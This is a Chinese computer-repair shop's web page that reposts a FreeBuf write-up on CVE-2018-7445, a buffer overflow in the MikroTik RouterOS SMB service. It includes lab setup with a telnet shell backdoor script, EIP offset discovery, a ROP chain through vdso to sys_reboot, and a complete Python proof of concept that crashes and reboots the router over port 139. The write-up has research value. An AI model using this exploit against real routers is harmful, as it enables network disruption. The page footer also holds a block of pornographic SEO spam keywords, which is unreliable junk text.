錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務,錦州廣廈維修電腦,公司IT外包服務
topFlag1 設(shè)為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務項目 服務報價 維修流程 IT外包服務 服務器維護 技術(shù)文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務技術(shù)文章
CVE-2018-7445 MikroTik RouterOS SMB 緩沖區(qū)溢出

作者: 佚名  日期:2018-05-23 14:27:13   來源: 本站整理

一. 漏洞概述

CVE-2018-7445 MikroTik RouterOS SMB 緩沖區(qū)溢出

參考信息:https://www.coresecurity.com/advisories/mikrotik-routeros-smb-buffer-overflow

漏洞固件版本:

mikrotik-6.40.6.iso   x86版本

下載地址:https://mikrotik.com/download

Mikrotik的漏洞最早進入視野(我的)是去年早些時候泄露的CIA武器庫。根據(jù)卡巴的信息,有APT組織對mikrotik的漏洞用的很多:

幾天前,卡巴斯基實驗室的安全專家宣布已經(jīng)發(fā)現(xiàn)了一個新的復雜的 APT 組織,該組織從至少 2012 年起至少已經(jīng)在雷達中運行。卡巴斯基跟蹤該組織,并確定了它使用的一系列惡意軟件,稱為 Slingshot,以妥協(xié)中東和非洲數(shù)十萬受害者的系統(tǒng)。

研究人員已經(jīng)在肯尼亞,也門,阿富汗,利比亞,剛果,約旦,土耳其,伊拉克,蘇丹,索馬里和坦桑尼亞發(fā)現(xiàn)了約 100 名彈弓受害者并發(fā)現(xiàn)了其模塊。肯尼亞和也門迄今為止感染人數(shù)最多。大多數(shù)受害者是個人而非組織,政府組織數(shù)量有限。APT 組利用拉脫維亞網(wǎng)絡硬件提供商 Mikrotik 使用的路由器中的零日漏洞(CVE-2007-5633; CVE-2010-1592,CVE-2009-0824)將間諜軟件放入受害者的計算機中。

攻擊者首先破壞路由器,然后用文件系統(tǒng)中的惡意代碼替換它的一個 DLL,當用戶運行 Winbox Loader 軟件(Mikrotik 路由器管理套件)時,該庫將加載到目標計算機內(nèi)存中。

該 DLL 文件在受害者的機器上運行,并連接到遠程服務器以下載最終有效負載,即卡巴斯基監(jiān)控的攻擊中的 Slingshot 惡意軟件。目前還不清楚 Slingshot 團伙是否也利用 CVE-2018-7445 漏洞危害路由器。

二. 漏洞分析.

2.1 搭建router os分析環(huán)境

先安裝router os, 打開iso文件,刪除掉默認硬盤,增加一個IDE硬盤

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

開機

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

按a選擇全部,然后I安裝,一路y

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

安裝完成后重啟,admin和空密碼登然后setup命令設(shè)置ip

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

如果一切順利此時可以ssh連接到rooteros了

Rooteros不支持一些基本的linux命令,為了更方便的操作,需要將busybox和gdbserver 放進去.

將cd選擇為一個ubuntu的鏡像

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

選擇開機前進入bios設(shè)置啟動選項,

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

選擇先從cd啟動

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

再重啟虛擬機, 選擇 try ubuntu

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

進入系統(tǒng)后,將 /dev/sda2 mount到創(chuàng)建的臨時文件夾

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

把busybox和gdbserver 拷貝到bin目錄下

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

并創(chuàng)建如下路徑的腳本,當路由器系統(tǒng)啟動的時候會自動執(zhí)行此腳本

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

PS:要修改這3個文件為可執(zhí)行  

腳本內(nèi)容:

#!/bin/bash
mkdir /ram/mybin
/flash/bin/busybox-i686 --install -s /ram/mybin
export PATH=/ram/mybin:$PATH
telnetd -p 23000 -l bash

再重啟路由器后,就可以通過telnet連接進去

telnet192.168.174.160 23000

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

telnet成功

Namp 掃一下,發(fā)現(xiàn)并沒有開139端口.

需要使用如下命令打開SMB服務.

Ip smb setenabled=yes

再用 ip smb print 查看

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

Nmap確認一下

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

Gdbsever attach上去, gdbserver 192.168.174.153:1234 –attach $(pidof smb)

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

好的,IDA遠程調(diào)試, fire inthe hole

2.2 控制eip

棧溢出發(fā)生在下面函數(shù), 其中a2為拷貝的源地址,a2第一個值被當做拷貝的長度,那么當a2第一位值大于a1的長度的時候,發(fā)生溢出

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

需要對服務器發(fā)送smb協(xié)議中的session信息才能進入到此函數(shù)處理中,需要如下的smb包

header =struct.pack(“!ccH”, NETBIOS_SESSION_REQUEST, NETBIOS_SESSION_FLAGS,len(data))

先用pwntool 找下 eip的位置

 

x=cyclic(500

attack= header + x

 

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

cyclic_find(0x61617a61)=99

測試一下

buf = header + “\xff”*99+BBBB,此時crash在eip為42424242

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

2.3 rop鏈構(gòu)造

Smb里面沒有dlsym,system等東西,只能看看so了,先看下加載了哪些so

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

# cat /proc/sys/kernel/randomize_va_space

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

看一下發(fā)現(xiàn)aslr開啟了,每次lib的地址都不 一樣。

Dep也開啟了

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

由于smb里面沒有引用system和dlysm函數(shù),vdso里面有int80,那么考慮用int80來調(diào)用sys_reboot.

用gdb attach到調(diào)試程序targetremote 192.168.174.160:1234

Vdso的地址是固定的,Vdso dump下來

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

找到godget

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

sys_reboot對應系統(tǒng)調(diào)用編號為88

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

需要構(gòu)造4個參數(shù)

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

那么構(gòu)造出如下參數(shù)

 

ebx=0xfee1dead

ecx=672274793

edx=0x1234567

esi=0

 

搜索godget:

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

構(gòu)造如下的rop鏈

 

payload=""

#準備edx ecx ebx esi參數(shù)

payload +=p32(0x08054017)# : pop edx ; pop ecx ; pop ebx ; pop esi ; pop edi ; pop ebp ;ret

payload +=p32(0x1234567) # edx

payload +=p32(672274793) # ecx 

payload +=p32(0xfee1dead)# ebx

payload +=p32(0x0)# esi

payload +=p32(0xaaaaaaaa)# edi

payload +=p32(0xaaaaaaaa)# ebp

#準備eax ebx參數(shù)

payload +=p32(0x0804f7da)# : pop eax ; pop ebx ; pop ebp ; ret

payload +=p32(0x00000058) # eax = sys_reboot

payload +=p32(0xfee1dead) # ebx

payload +=p32(0xaaaaaaaa) # ebp

#call int80

payload +=p32(0xFFFFE422)# int 0x80; pop ebp; pop edx; pop ecx; ret

payload +=p32(0xaaaaaaaa) # ebp

payload +=p32(0x0) # edx

payload+= p32(0x0)  # ecx

 

執(zhí)行后,

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

路由器重啟成功!

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

完整poc

 

#!/usr/bin/envpython

 

importsocket

 

importstruct

 

import sys

 

from pwnimport *

 

context(arch= 'i386', os = 'linux')

 

NETBIOS_SESSION_REQUEST= "\x81"

 

NETBIOS_SESSION_FLAGS= "\x00"

payload=""

payload +=p32(0x08054017)# : pop edx ; pop ecx ; pop ebx ; pop esi ; pop edi ; pop ebp ;ret

payload +=p32(0x1234567) # edx

payload +=p32(672274793) # ecx 

payload +=p32(0xfee1dead)# ebx

payload +=p32(0x0)# esi

payload +=p32(0xaaaaaaaa)# edi

payload +=p32(0xaaaaaaaa)# ebp

payload +=p32(0x0804f7da)# : pop eax ; pop ebx ; pop ebp ; ret

payload +=p32(0x00000058) # eax = sys_reboot

payload +=p32(0xfee1dead) # ebx

payload +=p32(0xaaaaaaaa) # eb

payload +=p32(0xFFFFE422)# int 0x80; pop ebp; pop edx; pop ecx; ret

payload +=p32(0xaaaaaaaa) # ebp

payload +=p32(0x0) # edx

payload +=p32(0x0)  # ecx

header =struct.pack("!ccH", NETBIOS_SESSION_REQUEST, NETBIOS_SESSION_FLAGS,len(payload)+99)

x="\xff"*99

 

attack =header + x+payload

 

if __name__== "__main__"

 

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    s.connect(("192.168.174.160",139))

 

    s.send(attack)

 

*本文作者:kczwa1,轉(zhuǎn)載請注明來自FreeBuf.COM



熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯(lián)想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數(shù)和判...
  • IIS 8 開啟 GZIP壓縮來減少網(wǎng)絡請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅(qū)動時提示不包含數(shù)字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統(tǒng)快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯(lián)系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務區(qū)域: 遼寧錦州市區(qū)
    主要業(yè)務: 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網(wǎng)設(shè)置,IT服務外包,局域網(wǎng)組建,ADSL共享上網(wǎng),路由器設(shè)置,數(shù)據(jù)恢復,密碼破解,光盤刻錄制作等服務

    技術(shù)支持:微軟等
    主站蜘蛛池模板: 久久精品无码午夜福利理论片| 亚洲Aⅴ在线无码播放毛片一线天 亚洲av成本人无码网站 | julia无码人妻中文字幕在线| 在线观看无码AV网址| 69成人免费视频无码专区 | 亚洲精品无码永久在线观看| 久久久久琪琪去精品色无码| 四虎成人精品无码永久在线| 无码人妻精品一区二区三区在线| 免费无码不卡视频在线观看| 少妇精品无码一区二区三区| 久久激情亚洲精品无码?V| 亚洲最大无码中文字幕| 日韩精品专区AV无码| 国产精品成人无码久久久久久| 精品无码成人久久久久久| 亚洲AV无码一区二区乱子伦| 潮喷无码正在播放| 性色AV无码中文AV有码VR| 在线无码午夜福利高潮视频| 人妻系列无码专区久久五月天| 精品成在人线AV无码免费看 | 亚洲成a人无码av波多野按摩 | 免费看无码自慰一区二区| 久久亚洲精品无码aⅴ大香| 日韩欧国产精品一区综合无码| 亚洲精品无码你懂的网站| 亚洲成A人片在线观看无码3D| 人妻少妇精品无码专区漫画| 无码日本精品XXXXXXXXX| 精品人妻无码区二区三区| 91精品日韩人妻无码久久不卡| 亚洲va无码va在线va天堂| 亚洲AV无码久久精品狠狠爱浪潮| 日韩成人无码中文字幕| 亚洲日韩精品无码专区网址 | 久久水蜜桃亚洲av无码精品麻豆| 亚洲日产无码中文字幕| 久久精品中文字幕无码| 99久久无码一区人妻a黑| 无码人妻丰满熟妇啪啪网站|